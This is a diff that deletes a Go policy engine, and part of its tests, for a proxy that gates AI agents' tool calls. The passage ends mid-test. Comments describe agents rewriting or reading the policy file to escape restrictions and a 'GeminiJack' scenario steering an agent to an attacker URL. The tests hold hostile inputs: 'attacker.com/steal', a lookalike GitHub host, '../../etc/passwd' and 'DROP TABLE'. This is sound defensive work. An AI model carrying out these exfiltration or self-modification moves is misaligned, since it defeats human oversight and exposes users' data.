"completion/complete", - "notifications/initialized", - "notifications/progress", - "notifications/message", - "notifications/resources/updated", - "notifications/resources/list_changed", - "notifications/tools/list_changed", - "notifications/prompts/list_changed", - "cancelled", -} - -// NewEngine creates a new policy engine instance. -// -// The engine is not usable until Load() or LoadFromFile() is called. -func NewEngine() *Engine { - return &Engine{ - allowedSet: make(map[string]struct{}), - toolRules: make(map[string]*ToolRule), - // allowedMethods and deniedMethods are nil by default to trigger - // "no policy loaded" behavior in IsMethodAllowed - limiters: make(map[string]*rate.Limiter), - } -} - -// Load parses a policy from YAML bytes and initializes the engine. -// -// This method builds the internal allowedSet for fast IsAllowed() lookups -// and compiles all regex patterns in tool_rules for argument validation. -// Tool names are normalized to lowercase for case-insensitive matching. -// -// Returns an error if: -// - YAML parsing fails -// - Required fields are missing -// - Any regex pattern in allow_args is invalid -func (e *Engine) Load(data []byte) error { - var policy AgentPolicy - if err := yaml.Unmarshal(data, &policy); err != nil { - return fmt.Errorf("failed to parse policy YAML: %w", err) - } - - // Validate required fields - if policy.APIVersion == "" { - return fmt.Errorf("policy missing required field: apiVersion") - } - if policy.Kind != "AgentPolicy" { - return fmt.Errorf("unexpected kind %q, expected AgentPolicy", policy.Kind) - } - - // Store raw policy data for hash computation (v1alpha2) - e.policyData = data - - // Build the allowed set for O(1) lookups - // Use NormalizeName for Unicode-safe, case-insensitive matching - e.allowedSet = make(map[string]struct{}, len(policy.Spec.AllowedTools)) - for _, tool := range policy.Spec.AllowedTools { - normalized := NormalizeName(tool) - e.allowedSet[normalized] = struct{}{} - } - - // Build the denied set for O(1) lookups - // Deny takes precedence over allow - e.deniedSet = make(map[string]struct{}, len(policy.Spec.DeniedTools)) - for _, tool := range policy.Spec.DeniedTools { - normalized := NormalizeName(tool) - e.deniedSet[normalized] = struct{}{} - } - - // Compile tool rules with regex patterns and initialize rate limiters - e.toolRules = make(map[string]*ToolRule, len(policy.Spec.ToolRules)) - e.limiters = make(map[string]*rate.Limiter) - for i := range policy.Spec.ToolRules { - rule := &policy.Spec.ToolRules[i] - normalized := NormalizeName(rule.Tool) - - // Normalize and validate action field - rule.Action = strings.ToLower(strings.TrimSpace(rule.Action)) - if rule.Action == "" { - rule.Action = ActionAllow // Default to allow - } - if rule.Action != ActionAllow && rule.Action != ActionBlock && rule.Action != ActionAsk { - return fmt.Errorf("invalid action %q for tool %q, must be 'allow', 'block', or 'ask'", rule.Action, rule.Tool) - } - - // Parse rate limit if specified - if rule.RateLimit != "" { - limit, burst, err := ParseRateLimit(rule.RateLimit) - if err != nil { - return fmt.Errorf("invalid rate_limit for tool %q: %w", rule.Tool, err) - } - rule.parsedRateLimit = limit - rule.parsedBurst = burst - // Create the rate limiter for this tool - e.limiters[normalized] = rate.NewLimiter(limit, burst) - } - - // Compile all regex patterns for this tool with ReDoS protection - rule.compiledArgs = make(map[string]*regexp.Regexp, len(rule.AllowArgs)) - for argName, pattern := range rule.AllowArgs { - // Validate regex complexity before compilation (best-effort heuristic) - if err := ValidateRegexComplexity(pattern); err != nil { - return fmt.Errorf("potentially dangerous regex for tool %q arg %q: %w", rule.Tool, argName, err) - } - // Compile with timeout to prevent ReDoS at compile time - compiled, err := SafeCompile(pattern, 0) - if err != nil { - return fmt.Errorf("invalid regex for tool %q arg %q: %w", rule.Tool, argName, err) - } - rule.compiledArgs[argName] = compiled - } - - e.toolRules[normalized] = rule - - // Implicitly add tool to allowed set if it has rules defined - // (even if action=block or action=ask, we track the tool for rule lookup) - e.allowedSet[normalized] = struct{}{} - } - - // Set enforcement mode (default to enforce if not specified) - e.mode = strings.ToLower(strings.TrimSpace(policy.Spec.Mode)) - if e.mode == "" { - e.mode = ModeEnforce - } - if e.mode != ModeEnforce && e.mode != ModeMonitor { - return fmt.Errorf("invalid mode %q, must be 'enforce' or 'monitor'", policy.Spec.Mode) - } - - // Build method allowlist for O(1) lookups - // If no methods specified, use safe defaults - e.allowedMethods = make(map[string]struct{}) - e.deniedMethods = make(map[string]struct{}) - - if len(policy.Spec.AllowedMethods) > 0 { - for _, method := range policy.Spec.AllowedMethods { - normalized := NormalizeName(method) - e.allowedMethods[normalized] = struct{}{} - } - } else { - // Use default safe methods - for _, method := range DefaultAllowedMethods { - e.allowedMethods[NormalizeName(method)] = struct{}{} - } - } - - // Build denied methods set (takes precedence over allowed) - for _, method := range policy.Spec.DeniedMethods { - normalized := NormalizeName(method) - e.deniedMethods[normalized] = struct{}{} - } - - // Initialize protected paths from policy - e.protectedPaths = make([]string, 0, len(policy.Spec.ProtectedPaths)) - for _, p := range policy.Spec.ProtectedPaths { - expanded := expandPath(p) - e.protectedPaths = append(e.protectedPaths, expanded) - } - - e.policy = &policy - return nil -} - -// LoadFromFile reads and parses a policy file from disk. -// The policy file path is automatically added to protected paths. -func (e *Engine) LoadFromFile(path string) error { - data, err := os.ReadFile(path) - if err != nil { - return fmt.Errorf("failed to read policy file %q: %w", path, err) - } - if err := e.Load(data); err != nil { - return err - } - - // Store policy path for identity management (v1alpha2) - absPath, err := filepath.Abs(path) - if err == nil { - e.policyPath = absPath - e.protectedPaths = append(e.protectedPaths, absPath) - } else { - // Fallback to original path if abs fails - e.policyPath = path - e.protectedPaths = append(e.protectedPaths, path) - } - - return nil -} - -// GetPolicyData returns the raw policy bytes for hash computation. -func (e *Engine) GetPolicyData() []byte { - return e.policyData -} - -// GetPolicyPath returns the path to the policy file. -func (e *Engine) GetPolicyPath() string { - return e.policyPath -} - -// GetIdentityConfig returns the identity configuration. -// Returns nil if no identity config is defined. -func (e *Engine) GetIdentityConfig() *IdentityConfig { - if e.policy == nil { - return nil - } - return e.policy.Spec.Identity -} - -// GetServerConfig returns the server configuration. -// Returns nil if no server config is defined. -func (e *Engine) GetServerConfig() *ServerConfig { - if e.policy == nil { - return nil - } - return e.policy.Spec.Server -} - -// GetAPIVersion returns the policy API version. -func (e *Engine) GetAPIVersion() string { - if e.policy == nil { - return "" - } - return e.policy.APIVersion -} - -// expandPath expands ~ to home directory and resolves to absolute path. -func expandPath(path string) string { - if strings.HasPrefix(path, "~/") { - if home, err := os.UserHomeDir(); err == nil { - path = filepath.Join(home, path[2:]) - } - } - if abs, err := filepath.Abs(path); err == nil { - return abs - } - return path -} - -// checkProtectedPaths scans tool arguments for protected file paths. -// Returns the protected path that was found, or empty string if none. -// -// This is a defense against policy self-modification attacks: -// - Agent tries to write to policy.yaml to add itself to allowed_tools -// - Agent tries to read policy.yaml to discover blocked tools -// - Agent tries to modify other sensitive files -// -// The check is performed on all string arguments, recursively scanning -// nested objects and arrays. -func (e *Engine) checkProtectedPaths(args map[string]any) string { - if len(e.protectedPaths) == 0 { - return "" - } - return e.scanArgsForProtectedPaths(args) -} - -// scanArgsForProtectedPaths recursively scans arguments for protected paths. -func (e *Engine) scanArgsForProtectedPaths(v any) string { - switch val := v.(type) { - case string: - return e.matchProtectedPath(val) - case map[string]any: - for _, v := range val { - if found := e.scanArgsForProtectedPaths(v); found != "" { - return found - } - } - case []any: - for _, item := range val { - if found := e.scanArgsForProtectedPaths(item); found != "" { - return found - } - } - } - return "" -} - -// matchProtectedPath checks if a string value matches any protected path. -func (e *Engine) matchProtectedPath(value string) string { - // Expand and normalize the value - expanded := expandPath(value) - - for _, protected := range e.protectedPaths { - // Exact match - if expanded == protected || value == protected { - return protected - } - // Check if value is under protected directory - if strings.HasPrefix(expanded, protected+string(filepath.Separator)) { - return protected - } - // Check if protected path is contained in the value (e.g., in a command string) - if strings.Contains(value, protected) { - return protected - } - // Also check the base name for common file references - if filepath.Base(expanded) == filepath.Base(protected) && - strings.Contains(value, filepath.Base(protected)) { - // Only match if it looks like a path (contains separator or starts with .) - if strings.ContainsAny(value, "/\\") || strings.HasPrefix(value, ".") { - return protected - } - } - } - return "" -} - -// GetProtectedPaths returns the list of protected paths for logging. -func (e *Engine) GetProtectedPaths() []string { - return e.protectedPaths -} - -// AddProtectedPath adds a path to the protected list. -// Useful for adding paths dynamically (e.g., audit log file). -func (e *Engine) AddProtectedPath(path string) { - expanded := expandPath(path) - e.protectedPaths = append(e.protectedPaths, expanded) -} - -// Decision contains the result of a tool call authorization check. -// -// This struct supports both enforce and monitor modes: -// - In enforce mode: Allowed=false means the request is blocked -// - In monitor mode: Allowed=true but ViolationDetected=true means -// the request passed through but would have been blocked -// -// The ViolationDetected field is critical for audit logging to identify -// "dry run blocks" in monitor mode. -// -// The Action field supports human-in-the-loop approval: -// - ActionAllow: Forward request to server -// - ActionBlock: Return error to client -// - ActionAsk: Prompt user for approval via native OS dialog -type Decision struct { - // Allowed indicates if the request should be forwarded to the server. - // In enforce mode: false = blocked - // In monitor mode: always true (violations pass through) - // Note: When Action=ActionAsk, Allowed is not the final answer. - Allowed bool - - // Action specifies the required action for this tool call. - // Values: "allow", "block", "ask", "rate_limited", "protected_path" - // When Action="ask", the proxy should prompt the user for approval. - Action string - - // ViolationDetected indicates if a policy violation was found. - // true = policy would block this request (or did block in enforce mode) - // This field is essential for audit logging in monitor mode. - ViolationDetected bool - - // FailedArg is the name of the argument that failed validation (if any). - FailedArg string - - // FailedRule is the regex pattern that failed to match (if any). - FailedRule string - - // ProtectedPath is set when Action=ActionProtectedPath, containing the - // path that triggered the security block. This is critical for audit. - ProtectedPath string - - // Reason provides a human-readable explanation of the decision. - Reason string -} - -// ValidationResult is an alias for Decision for backward compatibility. -// Deprecated: Use Decision instead. -type ValidationResult = Decision - -// IsAllowed checks if the given tool name and arguments are permitted by policy. -// -// This is the primary authorization check called by the proxy for every -// tools/call request. The check flow is: -// -// 1. Check if tool has a rule with action="block" β†’ Return BLOCK decision -// 2. Check if tool has a rule with action="ask" β†’ Return ASK decision -// 3. Check if tool is in allowed_tools list (O(1) lookup) -// 4. If tool has argument rules in tool_rules, validate each argument -// 5. Return detailed Decision for error reporting and audit logging -// -// Tool names are normalized to lowercase for case-insensitive matching. -// -// Authorization Logic: -// - Tool has action="block" β†’ Block unconditionally -// - Tool has action="ask" β†’ Return ASK (requires user approval) -// - Tool not in allowed_tools β†’ Violation detected -// - Tool allowed, no argument rules β†’ Allow (implicit allow all args) -// - Tool allowed, has argument rules β†’ Validate each constrained arg -// - Any argument fails regex match β†’ Violation detected -// -// Monitor Mode Behavior: -// - When mode="monitor", violations set ViolationDetected=true but Allowed=true -// - This enables "dry run" testing of policies before enforcement -// - The proxy should log these as "ALLOW_MONITOR" decisions -// - Note: action="ask" rules still require user approval in monitor mode -// -// Example: -// -// decision := engine.IsAllowed("fetch_url", map[string]any{"url": "https://evil.com"}) -// if decision.Action == ActionAsk { -// // Prompt user for approval via native OS dialog -// } else if decision.ViolationDetected { -// if !decision.Allowed { -// // ENFORCE mode: Return JSON-RPC Forbidden error -// } else { -// // MONITOR mode: Log violation but forward request -// } -// } -func (e *Engine) IsAllowed(toolName string, args map[string]any) Decision { - if e.allowedSet == nil { - // No policy loaded = deny all (fail closed) - return Decision{ - Allowed: false, - Action: ActionBlock, - ViolationDetected: true, - Reason: "no policy loaded", - } - } - - // Normalize tool name using Unicode-safe normalization - // This prevents bypass attacks via fullwidth chars, ligatures, etc. - normalized := NormalizeName(toolName) - - // Step 0: Check rate limiting FIRST (before any other checks) - // Rate limits are enforced regardless of mode (even in monitor mode) - if limiter := e.getLimiter(normalized); limiter != nil { - if !limiter.Allow() { - return Decision{ - Allowed: false, - Action: ActionRateLimited, - ViolationDetected: true, - Reason: fmt.Sprintf("rate limit exceeded for tool %q", toolName), - } - } - } - - // Step 0.5: Check protected paths (policy self-modification defense) - // This blocks any attempt to read/write/modify protected files - // including the policy file itself. - if protectedPath := e.checkProtectedPaths(args); protectedPath != "" { - return Decision{ - Allowed: false, - Action: ActionProtectedPath, - ViolationDetected: true, - ProtectedPath: protectedPath, - Reason: fmt.Sprintf("access to protected path %q blocked (policy self-modification defense)", protectedPath), - } - } - - // Step 1: Check if tool is in denied_tools list (deny wins over allow) - if _, denied := e.deniedSet[normalized]; denied { - return e.makeDecision(false, "tool in denied_tools list", "", "") - } - - // Step 2: Check if tool has a specific rule with action - rule, hasRule := e.toolRules[normalized] - if hasRule { - // Check action type first - switch rule.Action { - case ActionBlock: - // Unconditionally block this tool - return Decision{ - Allowed: false, - Action: ActionBlock, - ViolationDetected: true, - Reason: "tool has action=block in tool_rules", - } - case ActionAsk: - // Requires user approval - validate args first if present - if len(rule.compiledArgs) > 0 { - // Validate arguments before asking user - for argName, compiledRegex := range rule.compiledArgs { - argValue, exists := args[argName] - if !exists { - return e.makeDecision(false, "required argument missing", argName, rule.AllowArgs[argName]) - } - strValue := argToString(argValue) - if !compiledRegex.MatchString(strValue) { - return e.makeDecision(false, "argument failed regex validation", argName, rule.AllowArgs[argName]) - } - } - } - // Check strict args for ASK action too - if e.isStrictArgs(rule) && len(args) > 0 { - for argName := range args { - if _, declared := rule.AllowArgs[argName]; !declared { - return e.makeDecision(false, - fmt.Sprintf("undeclared argument %q rejected (strict_args enabled)", argName), - argName, "") - } - } - } - // Arguments valid (or no arg rules), return ASK decision - return Decision{ - Allowed: false, // Not automatically allowed - Action: ActionAsk, - ViolationDetected: false, // Not a violation, just needs approval - Reason: "tool requires user approval (action=ask)", - } - } - // action="allow" falls through to normal validation - } - - // Step 3: Check if tool is in allowed list - if _, allowed := e.allowedSet[normalized]; !allowed { - return e.makeDecision(false, "tool not in allowed_tools list", "", "") - } - - // Step 4: Check for argument-level rules (for action=allow) - if !hasRule || len(rule.compiledArgs) == 0 { - // No argument rules = implicit allow all args - return Decision{ - Allowed: true, - Action: ActionAllow, - ViolationDetected: false, - Reason: "tool allowed, no argument constraints", - } - } - - // Step 5: Validate each constrained argument - for argName, compiledRegex := range rule.compiledArgs { - argValue, exists := args[argName] - if !exists { - // Argument not provided - this is a policy decision. - // For security, we require constrained args to be present. - return e.makeDecision(false, "required argument missing", argName, rule.AllowArgs[argName]) - } - - // Convert argument value to string for regex matching - strValue := argToString(argValue) - - // Validate against the compiled regex - if !compiledRegex.MatchString(strValue) { - return e.makeDecision(false, "argument failed regex validation", argName, rule.AllowArgs[argName]) - } - } - - // Step 6: Strict args mode - reject undeclared arguments - // This prevents bypass attacks via extra arguments (e.g., headers, metadata) - if e.isStrictArgs(rule) && len(args) > 0 { - for argName := range args { - if _, declared := rule.AllowArgs[argName]; !declared { - return e.makeDecision(false, - fmt.Sprintf("undeclared argument %q rejected (strict_args enabled)", argName), - argName, "") - } - } - } - - // All argument validations passed - return Decision{ - Allowed: true, - Action: ActionAllow, - ViolationDetected: false, - Reason: "tool and arguments permitted", - } -} - -// isStrictArgs returns true if strict argument validation is enabled for a tool rule. -// Strict mode rejects any arguments not explicitly declared in allow_args. -// -// Priority: -// 1. Rule-specific strict_args setting (if explicitly set via pointer) -// 2. Global strict_args_default from policy spec -// 3. Default: false (lenient mode) -func (e *Engine) isStrictArgs(rule *ToolRule) bool { - if rule == nil { - // No rule = use global default - if e.policy != nil { - return e.policy.Spec.StrictArgsDefault - } - return false - } - // Rule-specific setting takes precedence (if explicitly set) - if rule.StrictArgs != nil { - return *rule.StrictArgs - } - // Fall back to global default - if e.policy != nil { - return e.policy.Spec.StrictArgsDefault - } - return false -} - -// makeDecision creates a Decision based on violation and current mode. -// -// In enforce mode: violations result in Allowed=false, Action=ActionBlock -// In monitor mode: violations result in Allowed=true, Action=ActionAllow, ViolationDetected=true -func (e *Engine) makeDecision(wouldAllow bool, reason, failedArg, failedRule string) Decision { - if wouldAllow { - return Decision{ - Allowed: true, - Action: ActionAllow, - ViolationDetected: false, - Reason: reason, - FailedArg: failedArg, - FailedRule: failedRule, - } - } - - // Violation detected - if e.mode == ModeMonitor { - // Monitor mode: allow through but flag as violation - return Decision{ - Allowed: true, - Action: ActionAllow, // Monitor mode allows through - ViolationDetected: true, - Reason: reason + " (monitor mode: allowed for dry run)", - FailedArg: failedArg, - FailedRule: failedRule, - } - } - - // Enforce mode: block the request - return Decision{ - Allowed: false, - Action: ActionBlock, - ViolationDetected: true, - Reason: reason, - FailedArg: failedArg, - FailedRule: failedRule, - } -} - -// argToString converts an argument value to string for regex matching. -// Handles common JSON types: string, number, bool. -// Complex types (slices, maps) are marshaled to JSON to ensure deterministic matching. -func argToString(v any) string { - switch val := v.(type) { - case string: - return val - case float64: - // Use -1 to format minimal decimal digits needed - return strconv.FormatFloat(val, 'f', -1, 64) - case int: - return strconv.Itoa(val) - case bool: - return strconv.FormatBool(val) - case nil: - return "" - default: - // Fallback for complex types: JSON representation - // This ensures []string{"a", "b"} becomes `["a","b"]` instead of `[a b]` - if b, err := json.Marshal(v); err == nil { - return string(b) - } - // Last resort fallback - return fmt.Sprintf("%v", val) - } -} - -// GetPolicyName returns the name of the loaded policy for logging. -func (e *Engine) GetPolicyName() string { - if e.policy == nil { - return "" - } - return e.policy.Metadata.Name -} - -// GetMode returns the current enforcement mode ("enforce" or "monitor"). -func (e *Engine) GetMode() string { - if e.mode == "" { - return ModeEnforce - } - return e.mode -} - -// IsMonitorMode returns true if the engine is in monitor/dry-run mode. -func (e *Engine) IsMonitorMode() bool { - return e.mode == ModeMonitor -} - -// GetAllowedTools returns a copy of the allowed tools list for inspection. -func (e *Engine) GetAllowedTools() []string { - if e.policy == nil { - return nil - } - result := make([]string, len(e.policy.Spec.AllowedTools)) - copy(result, e.policy.Spec.AllowedTools) - return result -} - -// GetDeniedTools returns a copy of the denied tools list for inspection. -func (e *Engine) GetDeniedTools() []string { - if e.policy == nil { - return nil - } - result := make([]string, len(e.policy.Spec.DeniedTools)) - copy(result, e.policy.Spec.DeniedTools) - return result -} - -// GetDLPConfig returns the DLP configuration from the policy. -// Returns nil if no DLP config is defined. -func (e *Engine) GetDLPConfig() *DLPConfig { - if e.policy == nil { - return nil - } - return e.policy.Spec.DLP -} - -// getLimiter returns the rate limiter for a tool, or nil if none configured. -// Thread-safe via read lock. -func (e *Engine) getLimiter(normalizedTool string) *rate.Limiter { - e.limiterMu.RLock() - defer e.limiterMu.RUnlock() - return e.limiters[normalizedTool] -} - -// ResetLimiter resets the rate limiter for a specific tool. -// Useful for testing or administrative reset. -func (e *Engine) ResetLimiter(toolName string) { - normalized := NormalizeName(toolName) - e.limiterMu.Lock() - defer e.limiterMu.Unlock() - - if rule, ok := e.toolRules[normalized]; ok && rule.parsedRateLimit > 0 { - e.limiters[normalized] = rate.NewLimiter(rule.parsedRateLimit, rule.parsedBurst) - } -} - -// ResetAllLimiters resets all rate limiters to their initial state. -// Useful for testing or administrative reset. -func (e *Engine) ResetAllLimiters() { - e.limiterMu.Lock() - defer e.limiterMu.Unlock() - - for normalized, rule := range e.toolRules { - if rule.parsedRateLimit > 0 { - e.limiters[normalized] = rate.NewLimiter(rule.parsedRateLimit, rule.parsedBurst) - } - } -} - -// ----------------------------------------------------------------------------- -// Method-Level Authorization (First Line of Defense) -// ----------------------------------------------------------------------------- - -// MethodDecision contains the result of a method-level authorization check. -// This is checked BEFORE tool-level policy to prevent bypass attacks via -// uncontrolled MCP methods like resources/read or prompts/get. -type MethodDecision struct { - // Allowed indicates if the method should be permitted. - Allowed bool - - // Reason provides a human-readable explanation of the decision. - Reason string -} - -// IsMethodAllowed checks if a JSON-RPC method is permitted by policy. -// -// This is the FIRST line of defense, checked before tool-level policy. -// It prevents bypass attacks where an attacker uses MCP methods that aren't -// subject to tool-level checks (e.g., resources/read, prompts/get). -// -// The check flow is: -// 1. Check if method is in denied_methods β†’ DENY -// 2. Check if "*" wildcard is in allowed_methods β†’ ALLOW -// 3. Check if method is in allowed_methods β†’ ALLOW -// 4. Otherwise β†’ DENY (fail-closed) -// -// Method names are normalized to lowercase for case-insensitive matching. -// This prevents bypass via "Resources/Read" vs "resources/read". -// -// Example: -// -// decision := engine.IsMethodAllowed("resources/read") -// if !decision.Allowed { -// // Return -32006 Method Not Allowed error -// } -func (e *Engine) IsMethodAllowed(method string) MethodDecision { - // Normalize using Unicode-safe normalization - // This prevents bypass attacks via fullwidth chars, etc. - normalized := NormalizeName(method) - - // No policy loaded = use defaults (fail-open for basic MCP methods) - if e.allowedMethods == nil && e.deniedMethods == nil { - for _, m := range DefaultAllowedMethods { - if strings.ToLower(m) == normalized { - return MethodDecision{ - Allowed: true, - Reason: "method in default allowlist (no policy loaded)", - } - } - } - return MethodDecision{ - Allowed: false, - Reason: "method not in default allowlist (no policy loaded)", - } - } - - // Step 1: Check deny list first (takes precedence) - if _, denied := e.deniedMethods[normalized]; denied { - return MethodDecision{ - Allowed: false, - Reason: "method explicitly denied by denied_methods", - } - } - - // Step 2: Check for wildcard (allows everything not denied) - if _, ok := e.allowedMethods["*"]; ok { - return MethodDecision{ - Allowed: true, - Reason: "wildcard '*' in allowed_methods permits all methods", - } - } - - // Step 3: Check if method is in allowed list - if _, allowed := e.allowedMethods[normalized]; allowed { - return MethodDecision{ - Allowed: true, - Reason: "method in allowed_methods", - } - } - - // Step 4: Default deny (fail-closed) - return MethodDecision{ - Allowed: false, - Reason: fmt.Sprintf("method %q not in allowed_methods", method), - } -} - -// GetAllowedMethods returns a copy of the allowed methods list for inspection. -func (e *Engine) GetAllowedMethods() []string { - if e.allowedMethods == nil { - return DefaultAllowedMethods - } - - result := make([]string, 0, len(e.allowedMethods)) - for method := range e.allowedMethods { - result = append(result, method) - } - return result -} - -// GetDeniedMethods returns a copy of the denied methods list for inspection. -func (e *Engine) GetDeniedMethods() []string { - if e.deniedMethods == nil { - return nil - } - - result := make([]string, 0, len(e.deniedMethods)) - for method := range e.deniedMethods { - result = append(result, method) - } - return result -} diff --git a/implementations/go-proxy/pkg/policy/engine_test.go b/implementations/go-proxy/pkg/policy/engine_test.go deleted file mode 100644 index 18071c1..0000000 --- a/implementations/go-proxy/pkg/policy/engine_test.go +++ /dev/null @@ -1,2219 +0,0 @@ -// Package policy tests for the AIP policy engine. -package policy - -import ( - "os" - "strings" - "testing" -) - -// TestGeminiJackDefense tests the "GeminiJack" attack defense. -// -// Attack scenario: An attacker tricks an agent into calling fetch_url with -// a malicious URL like "https://attacker.com/steal" instead of the intended -// "https://github.com/..." URL. -// -// Defense: The policy engine validates the url argument against a regex -// that only allows GitHub URLs. -func TestGeminiJackDefense(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: gemini-jack-defense-test -spec: - tool_rules: - - tool: fetch_url - allow_args: - url: "^https://github\\.com/.*" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - tool string - args map[string]any - wantAllowed bool - wantFailArg string - }{ - { - name: "Valid GitHub URL should pass", - tool: "fetch_url", - args: map[string]any{"url": "https://github.com/my-repo"}, - wantAllowed: true, - }, - { - name: "Attacker URL should fail", - tool: "fetch_url", - args: map[string]any{"url": "https://attacker.com/steal"}, - wantAllowed: false, - wantFailArg: "url", - }, - { - name: "HTTP GitHub URL should fail (not https)", - tool: "fetch_url", - args: map[string]any{"url": "http://github.com/my-repo"}, - wantAllowed: false, - wantFailArg: "url", - }, - { - name: "GitHub subdomain attack should fail", - tool: "fetch_url", - args: map[string]any{"url": "https://github.com.evil.com/my-repo"}, - wantAllowed: false, - wantFailArg: "url", - }, - { - name: "Missing url argument should fail", - tool: "fetch_url", - args: map[string]any{}, - wantAllowed: false, - wantFailArg: "url", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := engine.IsAllowed(tt.tool, tt.args) - - if result.Allowed != tt.wantAllowed { - t.Errorf("IsAllowed() = %v, want %v", result.Allowed, tt.wantAllowed) - } - - if tt.wantFailArg != "" && result.FailedArg != tt.wantFailArg { - t.Errorf("FailedArg = %q, want %q", result.FailedArg, tt.wantFailArg) - } - }) - } -} - -// TestToolLevelDeny tests that tools not in allowed_tools are denied. -func TestToolLevelDeny(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: tool-level-test -spec: - allowed_tools: - - safe_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - tool string - wantAllowed bool - }{ - {"Allowed tool passes", "safe_tool", true}, - {"Allowed tool case-insensitive", "SAFE_TOOL", true}, - {"Unknown tool denied", "dangerous_tool", false}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := engine.IsAllowed(tt.tool, nil) - if result.Allowed != tt.wantAllowed { - t.Errorf("IsAllowed(%q) = %v, want %v", tt.tool, result.Allowed, tt.wantAllowed) - } - }) - } -} - -// TestDeniedToolsTakesPrecedence tests that denied_tools blocks tools -// even if they are in allowed_tools (deny wins over allow). -func TestDeniedToolsTakesPrecedence(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: denied-tools-test -spec: - allowed_tools: - - safe_tool - - dangerous_tool - denied_tools: - - dangerous_tool - - never_allow -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - tool string - wantAllowed bool - wantReason string - }{ - { - name: "Tool only in allowed_tools should pass", - tool: "safe_tool", - wantAllowed: true, - }, - { - name: "Tool in both allowed and denied should be blocked (deny wins)", - tool: "dangerous_tool", - wantAllowed: false, - wantReason: "denied_tools", - }, - { - name: "Tool only in denied_tools should be blocked", - tool: "never_allow", - wantAllowed: false, - wantReason: "denied_tools", - }, - { - name: "Tool not in any list should be blocked", - tool: "unknown_tool", - wantAllowed: false, - wantReason: "allowed_tools", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := engine.IsAllowed(tt.tool, nil) - if result.Allowed != tt.wantAllowed { - t.Errorf("IsAllowed(%q) = %v, want %v (reason: %s)", - tt.tool, result.Allowed, tt.wantAllowed, result.Reason) - } - if tt.wantReason != "" && !strings.Contains(result.Reason, tt.wantReason) { - t.Errorf("Reason = %q, want to contain %q", result.Reason, tt.wantReason) - } - }) - } -} - -// TestGetDeniedTools tests the GetDeniedTools accessor method. -func TestGetDeniedTools(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: denied-tools-accessor-test -spec: - allowed_tools: - - some_tool - denied_tools: - - tool_a - - tool_b -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - denied := engine.GetDeniedTools() - if len(denied) != 2 { - t.Fatalf("GetDeniedTools() returned %d tools, want 2", len(denied)) - } - - // Check that both tools are present - found := make(map[string]bool) - for _, tool := range denied { - found[tool] = true - } - if !found["tool_a"] || !found["tool_b"] { - t.Errorf("GetDeniedTools() = %v, want [tool_a, tool_b]", denied) - } -} - -// TestToolWithNoArgRulesAllowsAllArgs tests that tools in tool_rules -// without allow_args allow all arguments. -func TestToolWithNoArgRulesAllowsAllArgs(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: no-arg-rules-test -spec: - allowed_tools: - - unrestricted_tool -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - // Tool is allowed, no arg rules = allow any args - result := engine.IsAllowed("unrestricted_tool", map[string]any{ - "any_arg": "any_value", - "another": 12345, - "dangerous": "../../etc/passwd", - }) - - if !result.Allowed { - t.Errorf("Expected unrestricted_tool to allow all args, got denied") - } -} - -// TestMultipleArgConstraints tests that multiple arguments are all validated. -func TestMultipleArgConstraints(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: multi-arg-test -spec: - tool_rules: - - tool: run_query - allow_args: - database: "^(prod|staging)$" - query: "^SELECT\\s+.*" -` - - engine := NewEngine() - if err := engine.Load([]byte(policyYAML)); err != nil { - t.Fatalf("Failed to load policy: %v", err) - } - - tests := []struct { - name string - args map[string]any - wantAllowed bool - wantFailArg string - }{ - { - name: "Valid SELECT on prod", - args: map[string]any{"database": "prod", "query": "SELECT * FROM users"}, - wantAllowed: true, - }, - { - name: "Valid SELECT on staging", - args: map[string]any{"database": "staging", "query": "SELECT id FROM orders"}, - wantAllowed: true, - }, - { - name: "DROP query should fail", - args: map[string]any{"database": "prod", "query": "DROP TABLE users"}, - wantAllowed: false, - wantFailArg: "query", - }, - { - name: "Invalid database should fail", - args: map[string]any{"database": "master", "query": "SELECT * FROM users"}, - wantAllowed: false, - wantFailArg: "database", - }, - { - name: "DELETE query should fail", - args: map[string]any{"database": "prod", "query": "DELETE FROM users"}, - wantAllowed: false, - wantFailArg: "query", - }, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - result := engine.IsAllowed("run_query", tt.args) - - if result.Allowed != tt.wantAllowed { - t.Errorf("IsAllowed() = %v, want %v", result.Allowed, tt.wantAllowed) - } - - if !tt.wantAllowed && tt.wantFailArg != "" && result.FailedArg != tt.wantFailArg { - t.Errorf("FailedArg = %q, want %q", result.FailedArg, tt.wantFailArg) - } - }) - } -} - -// TestInvalidRegexReturnsError tests that invalid regex patterns cause Load() to fail. -func TestInvalidRegexReturnsError(t *testing.T) { - policyYAML := ` -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: invalid-regex-test -spec: - tool_rules: - - tool: bad_tool - allow_args: - pattern: "[invalid(regex" -` - - engine := NewEngine() - err := engine.Load([]byte(policyYAML)) - - if err == nil { - t.Error("Expected Load() to fail with invalid regex, but it succeeded") - } -} - -// TestArgToString tests conversion of various types to strings. -func TestArgToString(t *testing.T) { - tests := []struct { - input any - want string - }{ - {"hello", "hello"}, - {float64(42), "42"}, - {float64(3.14), 